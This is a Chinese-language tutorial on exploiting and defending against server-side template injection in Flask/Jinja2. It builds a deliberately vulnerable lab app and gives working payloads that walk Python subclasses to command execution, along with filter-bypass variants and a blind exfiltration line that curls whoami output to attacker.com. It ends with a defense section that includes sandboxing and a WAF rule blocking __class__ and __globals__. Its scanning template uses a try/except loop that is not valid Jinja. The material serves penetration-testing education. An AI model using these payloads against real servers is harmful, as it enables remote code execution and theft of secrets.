Flask/Jinja2 SSTI漏洞实战:从环境搭建到命令执行的全链路攻防
当开发者习惯性将用户输入直接拼接到模板时,一个看似无害的输入框就可能成为整个系统的致命弱点。不同于SQL注入这类广为人知的安全威胁,服务器端模板注入(SSTI)更像是一把藏在代码深处的万能钥匙,攻击者通过精心构造的模板语法,能够绕过常规安全防护直达系统核心。
1. 漏洞环境搭建:构建可复现的靶场
1.1 基础环境配置
首先创建一个纯净的Python虚拟环境:
python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac ssti-lab\Scripts\activate # Windows安装必要依赖包:
pip install flask jinja21.2 漏洞代码实现
新建vulnerable_app.py文件,写入以下存在SSTI漏洞的Flask代码:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f''' <html> <body> <h1>Hello {name}!</h1> </body> </html> ''' return render_template_string(template) if __name__ == '__main__': app.run(debug=True)这个典型的漏洞场景中,开发者直接将用户输入的name参数拼接进模板字符串。启动应用后访问http://localhost:5000/?name={{7*7}},如果页面显示"Hello 49!",则确认存在模板注入漏洞。
1.3 容器化部署(可选)
使用Docker可以创建隔离的测试环境,新建Dockerfile:
FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY vulnerable_app.py . CMD ["python", "vulnerable_app.py"]构建并运行容器:
docker build -t ssti-lab . docker run -p 5000:5000 ssti-lab2. SSTI漏洞探测与利用链构建
2.1 基础探测技术
通过逐步测试确定模板引擎类型:
| 测试Payload | 预期响应 | 引擎判断 |
|---|---|---|
{{7*7}} | Hello 49! | Jinja2/Twig |
${7*7} | Hello ${7*7} | Smarty |
<%= 7*7 %> | Hello <%=49%> | ERB |
确认Jinja2引擎后,进一步探测可用对象:
{{ ''.__class__ }} # 获取字符串对象的类定义 {{ ''.__class__.__mro__ }} # 查看方法解析顺序 {{ ''.__class__.__mro__[1].__subclasses__() }} # 列出所有子类2.2 利用链构造方法论
典型的攻击路径分为四个阶段:
获取基类对象
{{ ''.__class__.__mro__[1] }} # 获取object基类寻找危险子类在400+个子类中,我们需要定位包含以下特征的类:
- 文件操作类(如
<class '_io.FileIO'>) - 命令执行类(如
<class 'subprocess.Popen'>) - 代码执行类(如
<class 'warnings.catch_warnings'>)
- 文件操作类(如
定位关键方法
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__ }} # 查看模块全局变量实现RCE突破最终构造如下的完整利用链:
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id') }}
2.3 自动化子类扫描
使用以下模板快速定位可用子类:
{% for i in range(500) %} {% try %} {{ ''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__.keys() }} {% except %} <!-- 忽略报错 --> {% endfor %} {% endfor %}关键危险类索引示例(Python 3.8):
| 类索引 | 类名 | 可利用方法 |
|---|---|---|
| 147 | _frozen_importlib._Module | builtins |
| 150 | os._wrap_close | os模块引用 |
| 168 | subprocess.Popen | 直接命令执行 |
| 391 | warnings.catch_warnings | __builtins__和os模块引用 |
3. 高级利用技术:绕过防御机制
3.1 常见WAF绕过技巧
过滤方括号[]
使用__getitem__方法替代:
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(168) }}过滤点号.
使用|attr()过滤器:
{{ (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)) }}过滤关键词
利用字符串拼接和编码:
{{ (request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'))['__builtins__']['__import__']('os').popen('id').read() }}3.2 无回显利用技术
当无法直接看到命令输出时:
DNS外带数据
{{ ''.__class__.__mro__[1].__subclasses__()[168]('curl http://attacker.com/`whoami`', shell=True) }}时间盲注
{% if ''.__class__.__mro__[1].__subclasses__()[168]('sleep 5', shell=True) == 0 %} <!-- 条件成立 --> {% endif %}文件写入后读取
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/output', 'w').write('test') }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/output').read() }}
3.3 上下文感知利用
不同框架下的特殊变量:
| 框架 | 关键对象 | 利用方式示例 |
|---|---|---|
| Flask | config, request | {{ config.__class__ }} |
| Django | settings, request | {{ settings.SECRET_KEY }} |
| Tornado | handler.settings | {{ handler.settings }} |
| Pyramid | context, request | {{ request.environ }} |
4. 防御方案与最佳实践
4.1 安全编码规范
输入过滤白名单
from jinja2 import Template template = Template('Hello {{ name }}') template.render(name=filter_input(request.args.get('name')))模板沙箱配置
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() env.from_string(template).render()最小权限原则
# 禁用危险属性和方法 class SafeTemplate(Environment): def is_safe_attribute(self, obj, attr, value): return attr not in ['__class__', '__globals__']
4.2 运行时防护措施
监控异常模板行为
import sys sys.addaudithook(lambda event, args: '__globals__' in str(args) and sys.exit(1))容器安全配置
# 在Docker中限制权限 USER nobody RUN chmod -R 755 /app && \ chown -R nobody:nogroup /appWAF规则示例
location / { if ($args ~* "__class__|__globals__") { return 403; } }
4.3 自动化检测工具
推荐的安全测试工具链:
静态扫描
semgrep --config p/python.flask.security动态测试
tplmap -u 'http://target/page?name=*'Burp Suite插件
- Turbo Intruder
- SSTI Scanner
在真实渗透测试中,我们曾遇到一个案例:通过{{ config }}泄露了AWS密钥,进而导致整个云环境沦陷。这种漏洞的危险性往往超出开发者的预期,必须在设计阶段就考虑安全防护。